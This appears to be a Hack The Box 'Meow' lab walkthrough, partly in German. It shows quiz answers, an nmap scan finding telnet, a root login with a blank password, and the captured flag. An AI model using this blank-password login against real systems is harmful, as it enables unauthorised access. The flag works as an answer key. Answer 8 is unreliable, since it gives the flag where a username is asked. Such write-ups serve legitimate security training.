https://app.hackthebox.com/starting-point
Meow
Task 1:
What does the acronym VM stand for?
Antwort 1:
Virtual Machine
Task 2:
What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It’s also known as a console or shell.
Antwort 2:
Terminal
Task 3:
What service do we use to form our VPN connection into HTB labs?
Antwort 3:
OpenVPN
Task 4:
What is the abbreviated name for a ‚tunnel interface‘ in the output of your VPN boot-up sequence output?
Antwort 4:
TUN
Task 5:
What tool do we use to test our connection to the target with an ICMP echo request?
Antwort 5:
ping
Task 6:
What is the name of the most common tool for finding open ports on a target?
Antwort 6:
nmap
Task 7:
What service do we identify on port 23/tcp during our scans?
Zeit die Machine zu scannen:
nmap MACHINE_IP
└─$ nmap 10.129.115.75
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-01 15:30 CET
Nmap scan report for 10.129.115.75
Host is up (0.038s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
23/tcp open telnet
Antwort 7:
telnet
Task 8:
What username is able to log into the target over telnet with a blank password?
Wir verbinden uns via telnet mit der Machine und geben als Benutzernamen „root“ an:
└─$ telnet 10.129.115.75 23
Trying 10.129.115.75...
Connected to 10.129.115.75.
Escape character is '^]'.
█ █ ▐▌ ▄█▄ █ ▄▄▄▄
█▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀
█ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█
Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 01 Nov 2022 02:33:51 PM UTC
System load: 0.0
Usage of /: 41.7% of 7.75GB
Memory usage: 4%
Swap usage: 0%
Processes: 139
Users logged in: 0
IPv4 address for eth0: 10.129.115.75
IPv6 address for eth0: dead:beef::250:56ff:fe96:164a
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
75 updates can be applied immediately.
31 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Nov 1 14:33:10 UTC 2022 on pts/0
root@Meow:~#
Jetzt suchen wir die flag und lassen uns den Inhalt ausgeben:
root@Meow:~# ls
flag.txt snap
root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19
root@Meow:~#
Antwort 8:
b40abdfe23665f766f9c61ecba8a4c19